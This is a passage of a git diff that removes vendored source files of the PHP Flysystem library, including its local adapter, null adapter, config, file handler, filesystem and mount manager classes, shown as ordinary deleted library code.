$this->ensureDirectory($root); - - if ( ! is_dir($root) || ! is_readable($root)) { - throw new LogicException('The root path ' . $root . ' is not readable.'); - } - - $this->setPathPrefix($root); - $this->writeFlags = $writeFlags; - $this->linkHandling = $linkHandling; - } - - /** - * Ensure the root directory exists. - * - * @param string $root root directory path - * - * @return void - * - * @throws Exception in case the root directory can not be created - */ - protected function ensureDirectory($root) - { - if ( ! is_dir($root)) { - $umask = umask(0); - - if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) { - $mkdirError = error_get_last(); - } - - umask($umask); - clearstatcache(false, $root); - - if ( ! is_dir($root)) { - $errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : ''; - throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage)); - } - } - } - - /** - * @inheritdoc - */ - public function has($path) - { - $location = $this->applyPathPrefix($path); - - return file_exists($location); - } - - /** - * @inheritdoc - */ - public function write($path, $contents, Config $config) - { - $location = $this->applyPathPrefix($path); - $this->ensureDirectory(dirname($location)); - - if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) { - return false; - } - - $type = 'file'; - $result = compact('contents', 'type', 'size', 'path'); - - if ($visibility = $config->get('visibility')) { - $result['visibility'] = $visibility; - $this->setVisibility($path, $visibility); - } - - return $result; - } - - /** - * @inheritdoc - */ - public function writeStream($path, $resource, Config $config) - { - $location = $this->applyPathPrefix($path); - $this->ensureDirectory(dirname($location)); - $stream = fopen($location, 'w+b'); - - if ( ! $stream || stream_copy_to_stream($resource, $stream) === false || ! fclose($stream)) { - return false; - } - - $type = 'file'; - $result = compact('type', 'path'); - - if ($visibility = $config->get('visibility')) { - $this->setVisibility($path, $visibility); - $result['visibility'] = $visibility; - } - - return $result; - } - - /** - * @inheritdoc - */ - public function readStream($path) - { - $location = $this->applyPathPrefix($path); - $stream = fopen($location, 'rb'); - - return ['type' => 'file', 'path' => $path, 'stream' => $stream]; - } - - /** - * @inheritdoc - */ - public function updateStream($path, $resource, Config $config) - { - return $this->writeStream($path, $resource, $config); - } - - /** - * @inheritdoc - */ - public function update($path, $contents, Config $config) - { - $location = $this->applyPathPrefix($path); - $size = file_put_contents($location, $contents, $this->writeFlags); - - if ($size === false) { - return false; - } - - $type = 'file'; - - $result = compact('type', 'path', 'size', 'contents'); - - if ($visibility = $config->get('visibility')) { - $this->setVisibility($path, $visibility); - $result['visibility'] = $visibility; - } - - return $result; - } - - /** - * @inheritdoc - */ - public function read($path) - { - $location = $this->applyPathPrefix($path); - $contents = @file_get_contents($location); - - if ($contents === false) { - return false; - } - - return ['type' => 'file', 'path' => $path, 'contents' => $contents]; - } - - /** - * @inheritdoc - */ - public function rename($path, $newpath) - { - $location = $this->applyPathPrefix($path); - $destination = $this->applyPathPrefix($newpath); - $parentDirectory = $this->applyPathPrefix(Util::dirname($newpath)); - $this->ensureDirectory($parentDirectory); - - return rename($location, $destination); - } - - /** - * @inheritdoc - */ - public function copy($path, $newpath) - { - $location = $this->applyPathPrefix($path); - $destination = $this->applyPathPrefix($newpath); - $this->ensureDirectory(dirname($destination)); - - return copy($location, $destination); - } - - /** - * @inheritdoc - */ - public function delete($path) - { - $location = $this->applyPathPrefix($path); - - return @unlink($location); - } - - /** - * @inheritdoc - */ - public function listContents($directory = '', $recursive = false) - { - $result = []; - $location = $this->applyPathPrefix($directory); - - if ( ! is_dir($location)) { - return []; - } - - $iterator = $recursive ? $this->getRecursiveDirectoryIterator($location) : $this->getDirectoryIterator($location); - - foreach ($iterator as $file) { - $path = $this->getFilePath($file); - - if (preg_match('#(^|/|\\\\)\.{1,2}$#', $path)) { - continue; - } - - $result[] = $this->normalizeFileInfo($file); - } - - unset($iterator); - - return array_filter($result); - } - - /** - * @inheritdoc - */ - public function getMetadata($path) - { - $location = $this->applyPathPrefix($path); - clearstatcache(false, $location); - $info = new SplFileInfo($location); - - return $this->normalizeFileInfo($info); - } - - /** - * @inheritdoc - */ - public function getSize($path) - { - return $this->getMetadata($path); - } - - /** - * @inheritdoc - */ - public function getMimetype($path) - { - $location = $this->applyPathPrefix($path); - $finfo = new Finfo(FILEINFO_MIME_TYPE); - $mimetype = $finfo->file($location); - - if (in_array($mimetype, ['application/octet-stream', 'inode/x-empty', 'application/x-empty'])) { - $mimetype = Util\MimeType::detectByFilename($location); - } - - return ['path' => $path, 'type' => 'file', 'mimetype' => $mimetype]; - } - - /** - * @inheritdoc - */ - public function getTimestamp($path) - { - return $this->getMetadata($path); - } - - /** - * @inheritdoc - */ - public function getVisibility($path) - { - $location = $this->applyPathPrefix($path); - clearstatcache(false, $location); - $permissions = octdec(substr(sprintf('%o', fileperms($location)), -4)); - $type = is_dir($location) ? 'dir' : 'file'; - - foreach ($this->permissionMap[$type] as $visibility => $visibilityPermissions) { - if ($visibilityPermissions == $permissions) { - return compact('path', 'visibility'); - } - } - - $visibility = substr(sprintf('%o', fileperms($location)), -4); - - return compact('path', 'visibility'); - } - - /** - * @inheritdoc - */ - public function setVisibility($path, $visibility) - { - $location = $this->applyPathPrefix($path); - $type = is_dir($location) ? 'dir' : 'file'; - $success = chmod($location, $this->permissionMap[$type][$visibility]); - - if ($success === false) { - return false; - } - - return compact('path', 'visibility'); - } - - /** - * @inheritdoc - */ - public function createDir($dirname, Config $config) - { - $location = $this->applyPathPrefix($dirname); - $umask = umask(0); - $visibility = $config->get('visibility', 'public'); - $return = ['path' => $dirname, 'type' => 'dir']; - - if ( ! is_dir($location)) { - if (false === @mkdir($location, $this->permissionMap['dir'][$visibility], true) - || false === is_dir($location)) { - $return = false; - } - } - - umask($umask); - - return $return; - } - - /** - * @inheritdoc - */ - public function deleteDir($dirname) - { - $location = $this->applyPathPrefix($dirname); - - if ( ! is_dir($location)) { - return false; - } - - $contents = $this->getRecursiveDirectoryIterator($location, RecursiveIteratorIterator::CHILD_FIRST); - - /** @var SplFileInfo $file */ - foreach ($contents as $file) { - $this->guardAgainstUnreadableFileInfo($file); - $this->deleteFileInfoObject($file); - } - - unset($contents); - - return rmdir($location); - } - - /** - * @param SplFileInfo $file - */ - protected function deleteFileInfoObject(SplFileInfo $file) - { - switch ($file->getType()) { - case 'dir': - rmdir($file->getRealPath()); - break; - case 'link': - unlink($file->getPathname()); - break; - default: - unlink($file->getRealPath()); - } - } - - /** - * Normalize the file info. - * - * @param SplFileInfo $file - * - * @return array|void - * - * @throws NotSupportedException - */ - protected function normalizeFileInfo(SplFileInfo $file) - { - if ( ! $file->isLink()) { - return $this->mapFileInfo($file); - } - - if ($this->linkHandling & self::DISALLOW_LINKS) { - throw NotSupportedException::forLink($file); - } - } - - /** - * Get the normalized path from a SplFileInfo object. - * - * @param SplFileInfo $file - * - * @return string - */ - protected function getFilePath(SplFileInfo $file) - { - $location = $file->getPathname(); - $path = $this->removePathPrefix($location); - - return trim(str_replace('\\', '/', $path), '/'); - } - - /** - * @param string $path - * @param int $mode - * - * @return RecursiveIteratorIterator - */ - protected function getRecursiveDirectoryIterator($path, $mode = RecursiveIteratorIterator::SELF_FIRST) - { - return new RecursiveIteratorIterator( - new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), - $mode - ); - } - - /** - * @param string $path - * - * @return DirectoryIterator - */ - protected function getDirectoryIterator($path) - { - $iterator = new DirectoryIterator($path); - - return $iterator; - } - - /** - * @param SplFileInfo $file - * - * @return array - */ - protected function mapFileInfo(SplFileInfo $file) - { - $normalized = [ - 'type' => $file->getType(), - 'path' => $this->getFilePath($file), - ]; - - $normalized['timestamp'] = $file->getMTime(); - - if ($normalized['type'] === 'file') { - $normalized['size'] = $file->getSize(); - } - - return $normalized; - } - - /** - * @param SplFileInfo $file - * - * @throws UnreadableFileException - */ - protected function guardAgainstUnreadableFileInfo(SplFileInfo $file) - { - if ( ! $file->isReadable()) { - throw UnreadableFileException::forFileInfo($file); - } - } -} diff --git a/vendor/league/flysystem/src/Adapter/NullAdapter.php b/vendor/league/flysystem/src/Adapter/NullAdapter.php deleted file mode 100644 index 2527087..0000000 --- a/vendor/league/flysystem/src/Adapter/NullAdapter.php +++ /dev/null @@ -1,144 +0,0 @@ -get('visibility')) { - $result['visibility'] = $visibility; - } - - return $result; - } - - /** - * @inheritdoc - */ - public function update($path, $contents, Config $config) - { - return false; - } - - /** - * @inheritdoc - */ - public function read($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function rename($path, $newpath) - { - return false; - } - - /** - * @inheritdoc - */ - public function delete($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function listContents($directory = '', $recursive = false) - { - return []; - } - - /** - * @inheritdoc - */ - public function getMetadata($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function getSize($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function getMimetype($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function getTimestamp($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function getVisibility($path) - { - return false; - } - - /** - * @inheritdoc - */ - public function setVisibility($path, $visibility) - { - return compact('visibility'); - } - - /** - * @inheritdoc - */ - public function createDir($dirname, Config $config) - { - return ['path' => $dirname, 'type' => 'dir']; - } - - /** - * @inheritdoc - */ - public function deleteDir($dirname) - { - return false; - } -} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php deleted file mode 100644 index fc0a747..0000000 --- a/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php +++ /dev/null @@ -1,33 +0,0 @@ -readStream($path); - - if ($response === false || ! is_resource($response['stream'])) { - return false; - } - - $result = $this->writeStream($newpath, $response['stream'], new Config()); - - if ($result !== false && is_resource($response['stream'])) { - fclose($response['stream']); - } - - return $result !== false; - } - - // Required abstract method - - /** - * @param string $path - * - * @return resource - */ - abstract public function readStream($path); - - /** - * @param string $path - * @param resource $resource - * @param Config $config - * - * @return resource - */ - abstract public function writeStream($path, $resource, Config $config); -} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php deleted file mode 100644 index 2b31c01..0000000 --- a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php +++ /dev/null @@ -1,44 +0,0 @@ -read($path)) { - return false; - } - - $stream = fopen('php://temp', 'w+b'); - fwrite($stream, $data['contents']); - rewind($stream); - $data['stream'] = $stream; - unset($data['contents']); - - return $data; - } - - /** - * Reads a file. - * - * @param string $path - * - * @return array|false - * - * @see League\Flysystem\ReadInterface::read() - */ - abstract public function read($path); -} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php deleted file mode 100644 index 8042496..0000000 --- a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php +++ /dev/null @@ -1,9 +0,0 @@ -stream($path, $resource, $config, 'write'); - } - - /** - * Update a file using a stream. - * - * @param string $path - * @param resource $resource - * @param Config $config Config object or visibility setting - * - * @return mixed false of file metadata - */ - public function updateStream($path, $resource, Config $config) - { - return $this->stream($path, $resource, $config, 'update'); - } - - // Required abstract methods - abstract public function write($pash, $contents, Config $config); - abstract public function update($pash, $contents, Config $config); -} diff --git a/vendor/league/flysystem/src/Adapter/SynologyFtp.php b/vendor/league/flysystem/src/Adapter/SynologyFtp.php deleted file mode 100644 index fe0d344..0000000 --- a/vendor/league/flysystem/src/Adapter/SynologyFtp.php +++ /dev/null @@ -1,8 +0,0 @@ -settings = $settings; - } - - /** - * Get a setting. - * - * @param string $key - * @param mixed $default - * - * @return mixed config setting or default when not found - */ - public function get($key, $default = null) - { - if ( ! array_key_exists($key, $this->settings)) { - return $this->getDefault($key, $default); - } - - return $this->settings[$key]; - } - - /** - * Check if an item exists by key. - * - * @param string $key - * - * @return bool - */ - public function has($key) - { - if (array_key_exists($key, $this->settings)) { - return true; - } - - return $this->fallback instanceof Config - ? $this->fallback->has($key) - : false; - } - - /** - * Try to retrieve a default setting from a config fallback. - * - * @param string $key - * @param mixed $default - * - * @return mixed config setting or default when not found - */ - protected function getDefault($key, $default) - { - if ( ! $this->fallback) { - return $default; - } - - return $this->fallback->get($key, $default); - } - - /** - * Set a setting. - * - * @param string $key - * @param mixed $value - * - * @return $this - */ - public function set($key, $value) - { - $this->settings[$key] = $value; - - return $this; - } - - /** - * Set the fallback. - * - * @param Config $fallback - * - * @return $this - */ - public function setFallback(Config $fallback) - { - $this->fallback = $fallback; - - return $this; - } -} diff --git a/vendor/league/flysystem/src/ConfigAwareTrait.php b/vendor/league/flysystem/src/ConfigAwareTrait.php deleted file mode 100644 index 202d605..0000000 --- a/vendor/league/flysystem/src/ConfigAwareTrait.php +++ /dev/null @@ -1,49 +0,0 @@ -config = $config ? Util::ensureConfig($config) : new Config; - } - - /** - * Get the Config. - * - * @return Config config object - */ - public function getConfig() - { - return $this->config; - } - - /** - * Convert a config array to a Config object with the correct fallback. - * - * @param array $config - * - * @return Config - */ - protected function prepareConfig(array $config) - { - $config = new Config($config); - $config->setFallback($this->getConfig()); - - return $config; - } -} diff --git a/vendor/league/flysystem/src/ConnectionErrorException.php b/vendor/league/flysystem/src/ConnectionErrorException.php deleted file mode 100644 index adb651d..0000000 --- a/vendor/league/flysystem/src/ConnectionErrorException.php +++ /dev/null @@ -1,9 +0,0 @@ -filesystem->deleteDir($this->path); - } - - /** - * List the directory contents. - * - * @param bool $recursive - * - * @return array|bool directory contents or false - */ - public function getContents($recursive = false) - { - return $this->filesystem->listContents($this->path, $recursive); - } -} diff --git a/vendor/league/flysystem/src/Exception.php b/vendor/league/flysystem/src/Exception.php deleted file mode 100644 index 4596c0a..0000000 --- a/vendor/league/flysystem/src/Exception.php +++ /dev/null @@ -1,8 +0,0 @@ -filesystem->has($this->path); - } - - /** - * Read the file. - * - * @return string|false file contents - */ - public function read() - { - return $this->filesystem->read($this->path); - } - - /** - * Read the file as a stream. - * - * @return resource|false file stream - */ - public function readStream() - { - return $this->filesystem->readStream($this->path); - } - - /** - * Write the new file. - * - * @param string $content - * - * @return bool success boolean - */ - public function write($content) - { - return $this->filesystem->write($this->path, $content); - } - - /** - * Write the new file using a stream. - * - * @param resource $resource - * - * @return bool success boolean - */ - public function writeStream($resource) - { - return $this->filesystem->writeStream($this->path, $resource); - } - - /** - * Update the file contents. - * - * @param string $content - * - * @return bool success boolean - */ - public function update($content) - { - return $this->filesystem->update($this->path, $content); - } - - /** - * Update the file contents with a stream. - * - * @param resource $resource - * - * @return bool success boolean - */ - public function updateStream($resource) - { - return $this->filesystem->updateStream($this->path, $resource); - } - - /** - * Create the file or update if exists. - * - * @param string $content - * - * @return bool success boolean - */ - public function put($content) - { - return $this->filesystem->put($this->path, $content); - } - - /** - * Create the file or update if exists using a stream. - * - * @param resource $resource - * - * @return bool success boolean - */ - public function putStream($resource) - { - return $this->filesystem->putStream($this->path, $resource); - } - - /** - * Rename the file. - * - * @param string $newpath - * - * @return bool success boolean - */ - public function rename($newpath) - { - if ($this->filesystem->rename($this->path, $newpath)) { - $this->path = $newpath; - - return true; - } - - return false; - } - - /** - * Copy the file. - * - * @param string $newpath - * - * @return File|false new file or false - */ - public function copy($newpath) - { - if ($this->filesystem->copy($this->path, $newpath)) { - return new File($this->filesystem, $newpath); - } - - return false; - } - - /** - * Get the file's timestamp. - * - * @return string|false The timestamp or false on failure. - */ - public function getTimestamp() - { - return $this->filesystem->getTimestamp($this->path); - } - - /** - * Get the file's mimetype. - * - * @return string|false The file mime-type or false on failure. - */ - public function getMimetype() - { - return $this->filesystem->getMimetype($this->path); - } - - /** - * Get the file's visibility. - * - * @return string|false The visibility (public|private) or false on failure. - */ - public function getVisibility() - { - return $this->filesystem->getVisibility($this->path); - } - - /** - * Get the file's metadata. - * - * @return array|false The file metadata or false on failure. - */ - public function getMetadata() - { - return $this->filesystem->getMetadata($this->path); - } - - /** - * Get the file size. - * - * @return int|false The file size or false on failure. - */ - public function getSize() - { - return $this->filesystem->getSize($this->path); - } - - /** - * Delete the file. - * - * @return bool success boolean - */ - public function delete() - { - return $this->filesystem->delete($this->path); - } -} diff --git a/vendor/league/flysystem/src/FileExistsException.php b/vendor/league/flysystem/src/FileExistsException.php deleted file mode 100644 index c82e20c..0000000 --- a/vendor/league/flysystem/src/FileExistsException.php +++ /dev/null @@ -1,37 +0,0 @@ -path = $path; - - parent::__construct('File already exists at path: ' . $this->getPath(), $code, $previous); - } - - /** - * Get the path which was found. - * - * @return string - */ - public function getPath() - { - return $this->path; - } -} diff --git a/vendor/league/flysystem/src/FileNotFoundException.php b/vendor/league/flysystem/src/FileNotFoundException.php deleted file mode 100644 index 989df69..0000000 --- a/vendor/league/flysystem/src/FileNotFoundException.php +++ /dev/null @@ -1,37 +0,0 @@ -path = $path; - - parent::__construct('File not found at path: ' . $this->getPath(), $code, $previous); - } - - /** - * Get the path which was not found. - * - * @return string - */ - public function getPath() - { - return $this->path; - } -} diff --git a/vendor/league/flysystem/src/Filesystem.php b/vendor/league/flysystem/src/Filesystem.php deleted file mode 100644 index 59cc82e..0000000 --- a/vendor/league/flysystem/src/Filesystem.php +++ /dev/null @@ -1,408 +0,0 @@ -adapter = $adapter; - $this->setConfig($config); - } - - /** - * Get the Adapter. - * - * @return AdapterInterface adapter - */ - public function getAdapter() - { - return $this->adapter; - } - - /** - * @inheritdoc - */ - public function has($path) - { - $path = Util::normalizePath($path); - - return strlen($path) === 0 ? false : (bool) $this->getAdapter()->has($path); - } - - /** - * @inheritdoc - */ - public function write($path, $contents, array $config = []) - { - $path = Util::normalizePath($path); - $this->assertAbsent($path); - $config = $this->prepareConfig($config); - - return (bool) $this->getAdapter()->write($path, $contents, $config); - } - - /** - * @inheritdoc - */ - public function writeStream($path, $resource, array $config = []) - { - if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { - throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); - } - - $path = Util::normalizePath($path); - $this->assertAbsent($path); - $config = $this->prepareConfig($config); - - Util::rewindStream($resource); - - return (bool) $this->getAdapter()->writeStream($path, $resource, $config); - } - - /** - * @inheritdoc - */ - public function put($path, $contents, array $config = []) - { - $path = Util::normalizePath($path); - $config = $this->prepareConfig($config); - - if ( ! $this->getAdapter() instanceof CanOverwriteFiles && $this->has($path)) { - return (bool) $this->getAdapter()->update($path, $contents, $config); - } - - return (bool) $this->getAdapter()->write($path, $contents, $config); - } - - /** - * @inheritdoc - */ - public function putStream($path, $resource, array $config = []) - { - if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { - throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); - } - - $path = Util::normalizePath($path); - $config = $this->prepareConfig($config); - Util::rewindStream($resource); - - if ( ! $this->getAdapter() instanceof CanOverwriteFiles && $this->has($path)) { - return (bool) $this->getAdapter()->updateStream($path, $resource, $config); - } - - return (bool) $this->getAdapter()->writeStream($path, $resource, $config); - } - - /** - * @inheritdoc - */ - public function readAndDelete($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - $contents = $this->read($path); - - if ($contents === false) { - return false; - } - - $this->delete($path); - - return $contents; - } - - /** - * @inheritdoc - */ - public function update($path, $contents, array $config = []) - { - $path = Util::normalizePath($path); - $config = $this->prepareConfig($config); - - $this->assertPresent($path); - - return (bool) $this->getAdapter()->update($path, $contents, $config); - } - - /** - * @inheritdoc - */ - public function updateStream($path, $resource, array $config = []) - { - if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { - throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); - } - - $path = Util::normalizePath($path); - $config = $this->prepareConfig($config); - $this->assertPresent($path); - Util::rewindStream($resource); - - return (bool) $this->getAdapter()->updateStream($path, $resource, $config); - } - - /** - * @inheritdoc - */ - public function read($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if ( ! ($object = $this->getAdapter()->read($path))) { - return false; - } - - return $object['contents']; - } - - /** - * @inheritdoc - */ - public function readStream($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if ( ! $object = $this->getAdapter()->readStream($path)) { - return false; - } - - return $object['stream']; - } - - /** - * @inheritdoc - */ - public function rename($path, $newpath) - { - $path = Util::normalizePath($path); - $newpath = Util::normalizePath($newpath); - $this->assertPresent($path); - $this->assertAbsent($newpath); - - return (bool) $this->getAdapter()->rename($path, $newpath); - } - - /** - * @inheritdoc - */ - public function copy($path, $newpath) - { - $path = Util::normalizePath($path); - $newpath = Util::normalizePath($newpath); - $this->assertPresent($path); - $this->assertAbsent($newpath); - - return $this->getAdapter()->copy($path, $newpath); - } - - /** - * @inheritdoc - */ - public function delete($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - return $this->getAdapter()->delete($path); - } - - /** - * @inheritdoc - */ - public function deleteDir($dirname) - { - $dirname = Util::normalizePath($dirname); - - if ($dirname === '') { - throw new RootViolationException('Root directories can not be deleted.'); - } - - return (bool) $this->getAdapter()->deleteDir($dirname); - } - - /** - * @inheritdoc - */ - public function createDir($dirname, array $config = []) - { - $dirname = Util::normalizePath($dirname); - $config = $this->prepareConfig($config); - - return (bool) $this->getAdapter()->createDir($dirname, $config); - } - - /** - * @inheritdoc - */ - public function listContents($directory = '', $recursive = false) - { - $directory = Util::normalizePath($directory); - $contents = $this->getAdapter()->listContents($directory, $recursive); - - return (new ContentListingFormatter($directory, $recursive, $this->config->get('case_sensitive', true))) - ->formatListing($contents); - } - - /** - * @inheritdoc - */ - public function getMimetype($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if (( ! $object = $this->getAdapter()->getMimetype($path)) || ! array_key_exists('mimetype', $object)) { - return false; - } - - return $object['mimetype']; - } - - /** - * @inheritdoc - */ - public function getTimestamp($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if (( ! $object = $this->getAdapter()->getTimestamp($path)) || ! array_key_exists('timestamp', $object)) { - return false; - } - - return (int) $object['timestamp']; - } - - /** - * @inheritdoc - */ - public function getVisibility($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if (( ! $object = $this->getAdapter()->getVisibility($path)) || ! array_key_exists('visibility', $object)) { - return false; - } - - return $object['visibility']; - } - - /** - * @inheritdoc - */ - public function getSize($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - if (( ! $object = $this->getAdapter()->getSize($path)) || ! array_key_exists('size', $object)) { - return false; - } - - return (int) $object['size']; - } - - /** - * @inheritdoc - */ - public function setVisibility($path, $visibility) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - return (bool) $this->getAdapter()->setVisibility($path, $visibility); - } - - /** - * @inheritdoc - */ - public function getMetadata($path) - { - $path = Util::normalizePath($path); - $this->assertPresent($path); - - return $this->getAdapter()->getMetadata($path); - } - - /** - * @inheritdoc - */ - public function get($path, Handler $handler = null) - { - $path = Util::normalizePath($path); - - if ( ! $handler) { - $metadata = $this->getMetadata($path); - $handler = ($metadata && $metadata['type'] === 'file') ? new File($this, $path) : new Directory($this, $path); - } - - $handler->setPath($path); - $handler->setFilesystem($this); - - return $handler; - } - - /** - * Assert a file is present. - * - * @param string $path path to file - * - * @throws FileNotFoundException - * - * @return void - */ - public function assertPresent($path) - { - if ($this->config->get('disable_asserts', false) === false && ! $this->has($path)) { - throw new FileNotFoundException($path); - } - } - - /** - * Assert a file is absent. - * - * @param string $path path to file - * - * @throws FileExistsException - * - * @return void - */ - public function assertAbsent($path) - { - if ($this->config->get('disable_asserts', false) === false && $this->has($path)) { - throw new FileExistsException($path); - } - } -} diff --git a/vendor/league/flysystem/src/FilesystemException.php b/vendor/league/flysystem/src/FilesystemException.php deleted file mode 100644 index 3121e53..0000000 --- a/vendor/league/flysystem/src/FilesystemException.php +++ /dev/null @@ -1,7 +0,0 @@ -path = $path; - $this->filesystem = $filesystem; - } - - /** - * Check whether the entree is a directory. - * - * @return bool - */ - public function isDir() - { - return $this->getType() === 'dir'; - } - - /** - * Check whether the entree is a file. - * - * @return bool - */ - public function isFile() - { - return $this->getType() === 'file'; - } - - /** - * Retrieve the entree type (file|dir). - * - * @return string file or dir - */ - public function getType() - { - $metadata = $this->filesystem->getMetadata($this->path); - - return $metadata ? $metadata['type'] : 'dir'; - } - - /** - * Set the Filesystem object. - * - * @param FilesystemInterface $filesystem - * - * @return $this - */ - public function setFilesystem(FilesystemInterface $filesystem) - { - $this->filesystem = $filesystem; - - return $this; - } - - /** - * Retrieve the Filesystem object. - * - * @return FilesystemInterface - */ - public function getFilesystem() - { - return $this->filesystem; - } - - /** - * Set the entree path. - * - * @param string $path - * - * @return $this - */ - public function setPath($path) - { - $this->path = $path; - - return $this; - } - - /** - * Retrieve the entree path. - * - * @return string path - */ - public function getPath() - { - return $this->path; - } - - /** - * Plugins pass-through. - * - * @param string $method - * @param array $arguments - * - * @return mixed - */ - public function __call($method, array $arguments) - { - array_unshift($arguments, $this->path); - $callback = [$this->filesystem, $method]; - - try { - return call_user_func_array($callback, $arguments); - } catch (BadMethodCallException $e) { - throw new BadMethodCallException( - 'Call to undefined method ' - . get_called_class() - . '::' . $method - ); - } - } -} diff --git a/vendor/league/flysystem/src/InvalidRootException.php b/vendor/league/flysystem/src/InvalidRootException.php deleted file mode 100644 index 468d1d5..0000000 --- a/vendor/league/flysystem/src/InvalidRootException.php +++ /dev/null @@ -1,9 +0,0 @@ - Filesystem,] - * - * @throws InvalidArgumentException - */ - public function __construct(array $filesystems = []) - { - $this->mountFilesystems($filesystems); - } - - /** - * Mount filesystems. - * - * @param FilesystemInterface[] $filesystems [:prefix => Filesystem,] - * - * @throws InvalidArgumentException - * - * @return $this - */ - public function mountFilesystems(array $filesystems) - { - foreach ($filesystems as $prefix => $filesystem) { - $this->mountFilesystem($prefix, $filesystem); - } - - return $this; - } - - /** - * Mount filesystems. - * - * @param string $prefix - * @param FilesystemInterface $filesystem - * - * @throws InvalidArgumentException - * - * @return $this - */ - public function mountFilesystem($prefix, FilesystemInterface $filesystem) - { - if ( ! is_string($prefix)) { - throw new InvalidArgumentException(__METHOD__ . ' expects argument #1 to be a string.'); - } - - $this->filesystems[$prefix] = $filesystem; - - return $this; - } - - /** - * Get the filesystem with the corresponding prefix. - * - * @param string $prefix - * - * @throws FilesystemNotFoundException - * - * @return FilesystemInterface - */ - public function getFilesystem($prefix) - { - if ( ! isset($this->filesystems[$prefix])) { - throw new FilesystemNotFoundException('No filesystem mounted with prefix ' . $prefix); - } - - return $this->filesystems[$prefix]; - } - - /** - * Retrieve the prefix from an arguments array. - * - * @param array $arguments - * - * @throws InvalidArgumentException - * - * @return array [:prefix, :arguments] - */ - public function filterPrefix(array $arguments) - { - if (empty($arguments)) { - throw new InvalidArgumentException('At least one argument needed'); - } - - $path = array_shift($arguments); - - if ( ! is_string($path)) { - throw new InvalidArgumentException('First argument should be a string'); - } - - list($prefix, $path) = $this->getPrefixAndPath($path); - array_unshift($arguments, $path); - - return [$prefix, $arguments]; - } - - /** - * @param string $directory - * @param bool $recursive - * - * @throws InvalidArgumentException - * @throws FilesystemNotFoundException - * - * @return array - */ - public function listContents($directory = '', $recursive = false) - { - list($prefix, $directory) = $this->getPrefixAndPath($directory); - $filesystem = $this->getFilesystem($prefix); - $result = $filesystem->listContents($directory, $recursive); - - foreach ($result as &$file) { - $file['filesystem'] = $prefix; - } - - return $result; - } - - /** - * Call forwarder. - * - * @param string $method - * @param array $arguments - * - * @throws InvalidArgumentException - * @throws FilesystemNotFoundException - * - * @return mixed - */ - public function __call($method, $arguments) - { - list($prefix, $arguments) = $this->filterPrefix($arguments); - - return $this->invokePluginOnFilesystem($method, $arguments, $prefix); - } - - /** - * @param string $from - * @param string $to - * @param array $config - * - * @throws InvalidArgumentException - * @throws FilesystemNotFoundException - * @throws FileExistsException - * - * @return bool - */ - public function copy($from, $to, array $config = []) - { - list($prefixFrom, $from) = $this->getPrefixAndPath($from); - - $buffer = $this->getFilesystem($prefixFrom)->readStream($from); - - if ($buffer === false) { - return false; - } - - list($prefixTo, $to) = $this->getPrefixAndPath($to); - - $result = $this->getFilesystem($prefixTo)->writeStream($to, $buffer, $config); - - if (is_resource($buffer)) { - fclose($buffer); - } - - return $result; - } - - /** - * List with plugin adapter. - * - * @param array $keys - * @param string $directory - * @param bool $recursive - * - * @throws InvalidArgumentException - * @throws FilesystemNotFoundException - * - * @return array - */ - public function listWith(array $keys = [], $directory = '', $recursive = false) - { - list($prefix, $directory) = $this->getPrefixAndPath($directory); - $arguments = [$keys, $directory, $recursive]; - - return $this->invokePluginOnFilesystem('listWith', $arguments, $prefix); - } - - /** - * Move a file. - * - * @param string $from - * @param string $to - * @param array $config - * - * @throws InvalidArgumentException - * @throws FilesystemNotFoundException - * - * @return bool - */ - public function move($from, $to, array $config = []) - { - list($prefixFrom, $pathFrom) = $this->getPrefixAndPath($from); - list($prefixTo, $pathTo) = $this->getPrefixAndPath($to); - - if ($prefixFrom === $prefixTo) { - $filesystem = $this->getFilesystem($prefixFrom); - $renamed = $filesystem->rename($pathFrom, $pathTo); - - if ($renamed && isset($config['visibility'])) { - return $filesystem->setVisibility($pathTo, $config['visibility']); - } - - return $renamed; - } - - $copied = $this->copy($from, $to, $config); - - if ($copied) { - return $this->delete($from); - } - - return false; - } - - /** - * Invoke a plugin on a filesystem mounted on a given prefix. - * - * @param string $method - * @param array $arguments - * @param string $prefix - * - * @throws FilesystemNotFoundException - * - * @return mixed - */ - public function invokePluginOnFilesystem($method, $arguments, $prefix) - { - $filesystem = $this->getFilesystem($prefix); - - try { - return $this->invokePlugin($method, $arguments, $filesystem); - } catch (PluginNotFoundException $e) { - // Let it pass, it's ok, don't panic. 